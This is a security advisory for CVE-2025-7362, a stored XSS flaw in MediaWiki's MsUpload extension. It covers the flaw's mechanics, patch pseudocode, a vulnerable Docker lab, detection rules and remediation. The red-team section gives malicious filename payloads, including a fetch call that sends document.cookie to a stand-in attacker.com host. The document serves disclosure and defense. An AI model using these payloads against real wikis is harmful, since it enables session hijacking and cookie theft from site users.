CVE-2025-7362

Executive Summary

CVE-2025-7362 is a stored cross-site scripting (XSS) vulnerability in the MsUpload extension for MediaWiki. The flaw resides in the msu-continue system message, which is inserted into the DOM without proper sanitization when a user uploads a file with the same filename twice. An authenticated attacker with upload privileges can inject arbitrary JavaScript into the page, which will execute in the context of any user viewing the file upload interface. This can lead to session hijacking, data exfiltration, or further compromise of the wiki instance. The vulnerability affects MsUpload versions 1.39.x before 1.39.13, 1.42.x before 1.42.7, and 1.43.x before 1.43.2. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward given the nature of the flaw.

Supply Chain & Package Security

This vulnerability is specific to the MediaWiki ecosystem and its MsUpload extension. MediaWiki is a PHP-based application, and extensions are typically distributed via Git repositories or tarballs. There is no NPM, PyPI, Go, or Ruby package involved. The supply chain risk is moderate, as administrators must manually update the extension. No malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs an authenticated account with upload permissions.
• User Interaction (UI): Required – The victim must view the file upload interface after the malicious filename is uploaded.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session theft and phishing makes it a significant concern for wiki administrators.

Deep Dive & Mechanics

The MsUpload extension provides a drag-and-drop file upload interface for MediaWiki. When a user uploads a file with a filename that already exists, the extension displays a confirmation dialog using the msu-continue system message. This message is intended to ask the user whether they want to overwrite the existing file.

The vulnerability arises because the msu-continue message is inserted into the DOM via JavaScript without proper HTML encoding or sanitization. An attacker can craft a filename containing malicious JavaScript code. When the upload is attempted a second time with the same filename, the extension retrieves the msu-continue message (which may include the filename) and injects it directly into the page. The injected script then executes in the context of the victim's browser.

The attack flow:

1. Attacker logs in and navigates to the file upload page.
2. Attacker uploads a file with a malicious filename, e.g., <img src=x onerror=alert(1)>.
3. The first upload succeeds (or fails due to duplicate detection).
4. Attacker uploads the same filename again.
5. The extension displays the msu-continue dialog, which includes the unsanitized filename.
6. The injected script executes in the victim's browser.

The vulnerability is stored because the malicious filename is stored in the system message or session state, and it persists until the message is cleared or the session ends.

Vulnerable vs. Patched Code

The vulnerable code is in the JavaScript file that handles the upload UI. The exact location is not publicly disclosed, but the fix involves sanitizing the msu-continue message before inserting it into the DOM.

Vulnerable (pseudocode):

// Vulnerable: Directly inserts user-controlled input into DOM
var msg = mw.message('msu-continue', filename).text();
$('#dialog').html(msg);

Patched (pseudocode):

// Patched: Escapes the filename before insertion
var msg = mw.message('msu-continue', mw.html.escape(filename)).text();
$('#dialog').html(msg);

The patched version uses mw.html.escape() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A MediaWiki instance with MsUpload extension installed (vulnerable version).
• An authenticated user account with upload permissions.

Exploitation Steps:

1. Log in to the wiki.
2. Navigate to the file upload page (e.g., Special:Upload).
3. Upload a file with a malicious filename. Example filename: <img src=x onerror=alert(document.cookie)>
4. Note that the first upload may succeed or fail; this is irrelevant.
5. Upload the same filename again.
6. The msu-continue dialog will appear, and the injected JavaScript will execute.

Proof-of-Concept (PoC) Code:

// No public PoC available. The following is a conceptual example.
// Use a filename like: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Lab Setup:

• Use Docker to deploy a vulnerable MediaWiki instance:

docker run -d --name mediawiki -p 8080:80 mediawiki:1.39.12
docker exec -it mediawiki bash
# Download and install MsUpload 1.39.12
cd /var/www/html/extensions
git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/MsUpload.git
cd MsUpload
git checkout tags/v1.39.12
# Enable the extension in LocalSettings.php
echo "wfLoadExtension('MsUpload');" >> /var/www/html/LocalSettings.php

Blue Team (Defender)

Detection Steps:

1. Monitor file upload logs for filenames containing HTML tags or JavaScript code.
2. Review web server logs for requests to Special:Upload with suspicious filenames.
3. Use the detection rules provided below.

Mitigation Steps:

1. Upgrade MsUpload to a patched version (1.39.13, 1.42.7, or 1.43.2).
2. If immediate upgrade is not possible, disable the MsUpload extension temporarily.
3. Implement a Web Application Firewall (WAF) rule to block filenames containing <script> or onerror patterns.

Indicators of Compromise (IOCs)

• File Upload Logs: Filenames containing HTML tags, JavaScript event handlers (e.g., onerror, onload), or script tags.
• Web Server Logs: Requests to Special:Upload with filenames like <img src=x onerror=...>.
• Browser Console: Unexpected JavaScript execution errors or network requests to external domains.
• Network Traffic: Outbound connections to attacker-controlled domains from the wiki server or client browsers.

Detection Engineering

YARA Rule

rule CVE_2025_7362_MsUpload_XSS {
    meta:
        description = "Detects malicious filenames used in CVE-2025-7362"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7362"
    strings:
        $xss_pattern1 = /<[^>]*onerror\s*=/i
        $xss_pattern2 = /<[^>]*onload\s*=/i
        $xss_pattern3 = /<script\b[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7362 MsUpload Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads with suspicious filenames indicative of CVE-2025-7362
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'Special:Upload'
        cs-uri-query|re: '(<[^>]*onerror|<[^>]*onload|<script)'
    condition: selection
falsepositives:
    - Legitimate filenames containing HTML tags (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7362 MsUpload Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"Special:Upload"; http_uri; pcre:"/(<[^>]*onerror|<[^>]*onload|<script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MsUpload to version 1.39.13, 1.42.7, or 1.43.2 (depending on your MediaWiki version).
2. If upgrade is not possible, disable the MsUpload extension by removing or commenting out the wfLoadExtension('MsUpload'); line in LocalSettings.php.

Long-Term Measures:

• Implement input validation for all user-supplied data, especially filenames.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all MediaWiki extensions.
• Conduct security audits of custom extensions.

Workaround:

• Manually patch the vulnerable JavaScript file by adding HTML escaping. Locate the file extensions/MsUpload/js/msupload.js and find the line that inserts the msu-continue message. Replace the direct insertion with an escaped version using mw.html.escape().

Valters IT
Securing Digital Frontiers